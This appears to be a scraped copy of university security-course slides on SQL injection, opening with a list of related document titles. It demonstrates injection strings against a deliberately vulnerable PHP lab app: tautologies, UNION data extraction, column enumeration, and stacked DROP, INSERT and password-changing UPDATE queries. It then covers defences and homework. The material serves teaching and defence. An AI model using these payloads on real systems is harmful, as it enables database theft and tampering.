SQL Injection AN IN-DEPTH DISCUSSION



Similar documents
A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks

1. What is SQL Injection?

Advanced PostgreSQL SQL Injection and Filter Bypass Techniques

Detecting (and even preventing) SQL Injection Using the Percona Toolkit and Noinject!

SQL Injection Attack Lab Using Collabtive

Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP On August 17, 2009, the United States Justice

SQL Injection. The ability to inject SQL commands into the database engine through an existing application

Web Applications Security: SQL Injection Attack

SQL Injection. Blossom Hands-on exercises for computer forensics and security

Concepts Design Basics Command-line MySQL Security Loophole

SQL Injection January 23, 2013

A Brief Introduction to MySQL

Still Aren't Doing. Frank Kim

SQL Injection Attack Lab

A table is a collection of related data entries and it consists of columns and rows.

SQL Injection. SQL Injection. CSCI 4971 Secure Software Principles. Rensselaer Polytechnic Institute. Spring

SECURING APACHE : THE BASICS - III

Webapps Vulnerability Report

Agenda. SQL Injection Impact in the Real World Attack Scenario (1) CHAPTER 8 SQL Injection

Web Development using PHP (WD_PHP) Duration 1.5 months

SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova

SQL Injection. Slides thanks to Prof. Shmatikov at UT Austin

White Paper. Blindfolded SQL Injection

Advanced Tornado TWENTYONE Advanced Tornado Accessing MySQL from Python LAB

Facebook Twitter YouTube Google Plus Website

USING MYWEBSQL FIGURE 1: FIRST AUTHENTICATION LAYER (ENTER YOUR REGULAR SIMMONS USERNAME AND PASSWORD)

Cyber Security Challenge Australia 2014

SQL INJECTION TUTORIAL

A basic create statement for a simple student table would look like the following.

Blindfolded SQL Injection. Written By: Ofer Maor Amichai Shulman

SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd

Writing Scripts with PHP s PEAR DB Module

SQL Injection Vulnerabilities in Desktop Applications

SQL Injection Attack Lab

MYSQL DATABASE ACCESS WITH PHP

2/3/04 Doc 7 SQL Part 1 slide # 1

Application note: Connecting the to a Database

SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student

Intrusion detection for web applications

Thick Client Application Security

AUTHENTICATION... 2 Step 1:Set up your LDAP server... 2 Step 2: Set up your username... 4 WRITEBACK REPORT... 8 Step 1: Table structures...

SQL Injection. Sajjad Pourali CERT of Ferdowsi University of Mashhad

DIPLOMA IN WEBDEVELOPMENT

Retrieving Data Using the SQL SELECT Statement. Copyright 2006, Oracle. All rights reserved.

How I hacked PacketStorm ( )

Automated vulnerability scanning and exploitation

Understanding Sql Injection

Exposed Database( SQL Server) Error messages Delicious food for Hackers

G563 Quantitative Paleontology. SQL databases. An introduction. Department of Geological Sciences Indiana University. (c) 2012, P.

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Louis Luke

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Lab 9 Access PreLab Copy the prelab folder, Lab09 PreLab9_Access_intro

Chapter 9 Java and SQL. Wang Yang wyang@njnet.edu.cn

Graphing Parabolas With Microsoft Excel

D61830GC30. MySQL for Developers. Summary. Introduction. Prerequisites. At Course completion After completing this course, students will be able to:

CHAPTER 5 INTELLIGENT TECHNIQUES TO PREVENT SQL INJECTION ATTACKS

Oracle For Beginners Page : 1

Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

Perl In Secure Web Development

5 Simple Steps to Secure Database Development

VBScript Database Tutorial Part 1

DbSchema Tutorial with Introduction in SQL Databases

Online shopping store

TV Server Configuration Fails To Start - get_cards() error. Overview... 2 Origin of the error... 2 Resolution Related... 5

MapReduce. MapReduce and SQL Injections. CS 3200 Final Lecture. Introduction. MapReduce. Programming Model. Example

An Introduction to SQL Injection Attacks for Oracle Developers. January 2004 INTEGRIGY. Mission Critical Applications Mission Critical Security

Comparing the Effectiveness of Penetration Testing and Static Code Analysis

SQL Injection Are Your Web Applications Vulnerable?

SQL Injection for newbie

Using the SQL TAS v4

Automating SQL Injection Exploits

PHP/MySQL SQL Injections: Understanding MySQL Union Poisoining. Jason A. Medeiros :: CEO :: Presented for DC619 All Content Grayscale Research 2008

INSTALLING, CONFIGURING, AND DEVELOPING WITH XAMPP

The MariaDB Audit Plugin

SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva

Advanced Web Security, Lab

CSCI110 Exercise 4: Database - MySQL

Meeting Users' Needs with Free Software for your IBM i

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Zend Framework Database Access

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Input Validation Vulnerabilities, Encoded Attack Vectors and Mitigations OWASP. The OWASP Foundation. Marco Morana & Scott Nusbaum

IceWarp Server. Log Analyzer. Version 10

Maintaining Stored Procedures in Database Application

Log Analyzer Reference

Oracle Database 10g Express

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

SQL Injection Attack

Some Notes on Web Application Firewalls

Application Security Testing. Generic Test Strategy

Transcription:

SQL Injection AN IN-DEPTH DISCUSSION

CSCI 476 SQL INJECTION AGENDA What is an SQL Injection vulnerability An example of SQL Injection An analysis of how it works How the attacker views the situation Input validation More attack vectors More remediation Avoiding SQL Injection

What Does Sql Injection Mean First, there is a software defect That defect results in a security vulnerability (or just vulnerability) A vulnerability is a weakness for certain types of attacks on the security of the application One of the possible attack types is an SQL Injection So, if you have a vulnerability that permits SQL Injection attacks, you have an SQL Injection vulnerability Why are we talking about this before we know more about security?

The SQL Injection Attack SQL is Structured Query Language It is a standardized language for accessing databases Examples select name from employee where ssn= 123456789 select name, ssn, dob from employee where ssn= 123456789 and id= 31042 select code,name from products where code = 536 union select code,name from sales where code > 500 Every programming language implements SQL functionality in its own way

SQL Injection Example DB Accounts Name Account UserId Password Joe B 1234 joe mypass Tom M 6787 Daisy rover Alicia G 2547 alicia x123y Sally B 7744 sal yllas Balances Account Name Cbalance SBalance 2547 Alicia G 23.45 75.00 1234 Joe B 67.84 0.00 3333 Justin D 55.10 200.56 6787 Tom M 99.21 71.55 7744 Sally B 17.20 0.00 8899 Tom Q 102.55 66.00

SQL Injection Example Assume that the select statement implemented is: res = select CBalance from Balances where Acct= $acct $acct is the variable containing the account number input by the user (PHP style naming ) This is a typical usage of a select statement to look up a value Enter your account number 3215 Your balance 3215 Results in: res = select CBalance from Balances where Acct= 3215

SQL Injection Example But what if the user enters something like this Enter your account number Your balance 9999 %20or%20 1 = 1 res = select CBalance from Balances where Acct= 9999 or 1 = 1 Since 1 = 1 is always true, the select statement will return all records res will contain, depending on the language every record the first record the last record

SQL Injection Example If the code block is: res = select CBalance from Balances where Acct= $acct if res PrintHTML (res) Then the application will print whatever is in res. The attacker will have valuable information for further attacks, such as issuing a transaction against the account number discovered

An Example Program Command line form http://www.cs.montana.edu/courses/csci476/code/sqli_ex1_mysql.py http://www.cs.montana.edu/courses/csci476/code/sqli_ex1_outputweb form http://www.cs.montana.edu/courses/csci476/code/sqli_form.html http://www.cs.montana.edu/courses/csci476/code/sqli_submit.php

An Example Program <?php # Simple PHP submit handler for mysqli $acct = $_GET['account']; $con = mysqli_connect ("127.0.0.1", "cs476", "passw", "cs476_ex1"); if (mysqli_connect_errno ()) { echo "Failed to connect to db: ".mysqli_connect_error(); exit (); } $result = $con->query ($query); if ($result) { print ("You are identified as <P> name userid<p> \n"); while ($row = $result->fetch_row()) printf ("%s %s <P>", $row[0], $row[1]); $result->close (); } $con->close();?>

The Attack String How does the attacker determine the attack string? Awareness of how the code might look Guessing Looking at messages resulting from failed attempts

Some Attack Strings Using the example program, what happens when you try different strings 1234 You are identified as name userid Joe B joe 1234' You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1234''' at line 1

Some Attack Strings Using the example program, what happens when you try different strings 1234' or '1'='1 You are identified as name userid Joe B joe Alica G alicia Tom M Daisy 1234' -- Same as 1234

Some Attack Strings Can we guess some field names? 1234' and account=null; -- For mysql, there must be white space after -- You are identified as name userid We know account is a valid field name, because 1234' and acct=null; -- Unknown column 'acct' in 'where clause' Gives a different message

Some Attack Strings Can we guess some field names? 1234' and userid=null; -- You are identified as name userid Now we know userid 1234' and password=null; -- You are identified as name userid and password; these will be useful

Some Attack Strings How about table names 1234' and 1=(select count(*) from users); -- Table 'cs476_ex1.users' doesn't exist We know there's not table named users, but the DB is named cs476_ex1 1234' and 1=(select count(*) from accounts); -- Bingo!! You are identified as name userid'

Some Attack Strings How about userid's 1234' or name LIKE '%Tom%'; -- You are identified as name userid Joe B joe Tom M Daisy 1234' or userid LIKE '%al%'; -- You are identified as name userid Joe B joe Alica G alicia Sally B sal

Some Attack Strings DROP TABLE table_name - Now that's just mean 1234' ; DROP TABLE TOSSIT; -- You are identified as name userid Fatal error: Call to a member function fetch_row() on a non-object in /home/www/cs476/sqli/submit.php on line 27 The error is from the attempt to process an empty result. The DROP was successful.

Some Attack Strings INSERT INTO table (fieldlist) VALUES (valuelist) 1234' ; INSERT INTO accounts (; -- You are identified as name userid Fatal error: Call to a member function fetch_row() on a non-object in /home/www/cs476/sqli/submit.php on line 27 The error is from the attempt to process an empty result. The INSERT was successful.

Some Attack Strings UPDATE table set expression WHERE expression 11' ; UPDATE accounts SET password='fake' WHERE userid='sal'; -- You are identified as name userid Fatal error: Call to a member function fetch_row() on a non-object in /home/www/cs476/sqli/submit.php on line 27 The error is from the attempt to process an empty result. The UPDATE was successful.

Some Attack Strings select cols from table1 UNION select cols from table2 1234' union select account,cbalance from balances; -- You are identified as name userid Joe B joe 1234 67.84 2547 23.45 3333 55.10 6787 99.21 7744 17.20 8899 102.55 The number of columns must be the same The columns from balances are not correctly labeled

Some Attack Strings select cols from table1 UNION ALL select cols from table2 1234' union ALL select account,cbalance from balances; -- No good example, but select name, account from accounts union select name, account from balances; select name, account from accounts union ALL select name, account from balances; +-----------+---------+ name account +-----------+---------+ Joe B 1234 Alica G 2547 Tom M 6787 Sally B 7744 A Ttacker 9990 A Ttacker 9997 A Ttacker 9998 A Ttacker 9999 Alicia G 2547 Justin D 3333 Tom Q 8899 +-----------+---------+ +-----------+---------+ name account +-----------+---------+ Joe B 1234 Alica G 2547 Tom M 6787 Sally B 7744 A Ttacker 9990 A Ttacker 9997 A Ttacker 9998 A Ttacker 9999 Joe B 1234 Alicia G 2547 Justin D 3333 Tom M 6787 Sally B 7744 Tom Q 8899 +-----------+---------+

Some Attack Strings Using union to determine the number of columns 1234' or 1=1 union select null,null from balances; -- You are identified as name userid Joe B joe Alica G alicia Tom M Daisy Sally B sal A Ttacker me 1234' or 1=1 union select null from balances; -- The used SELECT statements have a different number of columns

Some Attack Strings Using union to determine the number of columns 1234' or 1=1 union select null,null from balances; -- You are identified as name userid Joe B joe Alica G alicia Tom M Daisy Sally B sal A Ttacker me 1234' or 1=1 union select null from balances; -- The used SELECT statements have a different number of columns

Some Attack Strings ORDER BY - can help identify column names and numbers of columns 1234' ORDER BY 1 -- You are identified as name userid Joe B joe Same for 2, but 1234' ORDER BY 3 -- Unknown column '3' in 'order clause' We know that the select is for two columns

Some Attack Strings ORDER BY - can help identify column names and numbers of columns 1234' ORDER BY name -- You are identified as name userid Joe B joe But 1234' ORDER BY first_name -- Unknown column 'first_name' in 'order clause'

What Else There are dozens of potential attack string types. Check out these refs: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ http://www.unixwiz.net/techtips/sql-injection.html http://ha.ckers.org/sqlinjection/ - has a cool place to test strings https://www.owasp.org/index.php/testing_for_sql_injection_%28owasp-dv-005%29

Remediation How do you prevent SQL Injection Input validation Using prepared statements Stored procedures Escape special characters All of these, or at least more than one

Remediation Input Validation Input validation Blacklisting o Make a list of all of the incorrect possibilities and search for them Whitelisting o Make a list of all the correct possibilities and search for them o Much smaller set o Regular expression are very help Process o Correct length? o Correct type (depends on the language) o Correct value

Remediation Input Validation Example $zip = $_GET ['zipcode']; if ((is_array ($zip)) (! is_string ($zip)) { error ("Incorrect zip code format"); exit (); } if ((strlen ($zip) < 5) (strlen 9$zip) > 12)) # error condition $zip_re = '/^\d{5}([-\s]\d{4})?$/' if (! preg_match ($zip_re, $zip) ) # error condition # 5digits followed by 0 or 1 reps of or space and 4 digits # 1 = match, 0 = no match

Remediation Input Validation This is a lot of work, so plan for it Create centralized routines to handle input validation You can create data classes that can be tested identically except for the r.e. If you think this is difficult and time-consuming, wait until you have to track down a defect

Remediation Prepared Statements They vary between languages The give the SQL Engine the query in the form of a string with placeholders and a list of values The SQL Engine can use it's knowledge of column types and meta characters to defang the query It's not perfect, so don't depend on it

Remediation Prepared Statements Python con.execute("select COUNT(*) from tbl1 where r = %s and c = %s", (range, cond)) PHP $stmt = $con->prepare("select * from registry where name =?"); $stmt->execute(array ($name)) $stmt = $dbh->prepare("insert INTO REGISTRY (name, value) VALUES (?,?)"); $stmt->bindparam(1, $name); $stmt->bindparam(2, $value); $name = $_GET ('fname'); $value = $_GET ('fval'); $stmt->execute ();

Remediation Prepared Statements Java PreparedStatement getsales = null; String getpsstring = "select name, value from tbl1 where cond=? and status=?"; try { getsales = con.preparestatement (getpsstring); getsales.setint (1, condition); getsales.setstring (2, cur_stat); con.commit (); } catch (SQLException e) { System.err.print ("Dagnabbit no did work"); System.exit (); } finally { con.close ()}

Remediation Stored Procedures Left to the consumer

Remediation Escaping Although SQL has some standard special characters, each DB has some of its own, so be careful Normally, don't allow special characters in your inputs unless necessary In general, Characters preceded by a backslash (\) are escaped Some characters have other forms as well e.g. two single quotes means a quote without special meaning \0 An ASCII NUL (0x00) character. ' A single quote ( ' ) character. " A double quote ( " ) character. \b A backspace character. \n A newline (linefeed) character. \r A carriage return character. \t A tab character. \Z ASCII 26 (Control-Z). \ A backslash ( \ ) character. % A % character. _ An _ character.

Remediation Escaping Language specific functions like mysql_real_escape_string are being deprecated because there is too much risk in assuming that escaping will work without other help. Look for replace/translate/substitute functionality python

Remediation Play It Safe At least, input validation and prepared statements. Input validation has far more uses than just mitigating SQLi

The Attack Where are the vulnerabilities? It must be something that will be used in a DB request o Credentials o Personal data that might be stored o Configuration of the app o Things that you create (discussion groups, posts, ) o But probably not Look for entry points places where the application opens itself to the world

The Attack Check for a defect Something simple like a single quote Ramp it up looking for a useful error message indicating a vulnerability If nothing is apparent, try fuzzing the input with a tool To get the maximum gain, manually try strings to collect information

Homework I'm not going to go over everything that pertains to an assignment. You are close to being professionals, you should be able to deduce what you need to know and go find it The clock is ticking I'm not getting any younger. (I don't know what that has to do with it.) Due dates Normally, I will ask you to do something you can do in an hour or less and I would expect it done by the next class time so I can pile on some more If it's going to take longer, I might mention that If it's going to require some references you might not know about, I will mention those

Homework Lesson 1 Create a MySQL database with two tables o Table 1 has userid (varchar 10), firstname (varchar 20), lastname (varchar 20), ssn (no dashes) and history (varchar 2000) o Table 2 has userid (varchar 10), username (varchar 20), pass (varchar 40), sessionid (varchar 12) Then write a routine in Java, Python, PHP or any other language you choose that will get some user input and lookup something in the database given the username and password o e.g. Enter the username and password, and return the userid, or the userid and the name I'm not fussy about this. If you do it wrong, you can redo it. This doesn't have to be fancy, commented, indented (except Python) or a work of art. It's proof of concept code. I would prefer it not be all that good because I want it to break.

Homework You can see where this is headed. Feel free to experiment. Do some experimenting, try some different things. There are hundreds of examples of SQL Injection strings on the web and some very good sites for study. Try http://www.unixwiz.net/techtips/sql-injection.html Update your program to protect against SQL Injection and test that it works.

Homework 2 Write a simple program with your language of choice that will use regular expressions to check for: SSN's entered in free form (the HTML form doesn't do anything for you) International telephone numbers (not all of them, just a few forms) Last names, where quotes and hyphens are allowed IPv4 IP addresses (how many ways are there? do a few) Id numbers with 3 digits, a dash, two alphanumeric characters, a dash, then either a string of 6 digits, or a string of up to 8 alphabetic characters (upper or lower case), then a period, then 4 hex digits another period and then an optional two digit code. Due: 2/6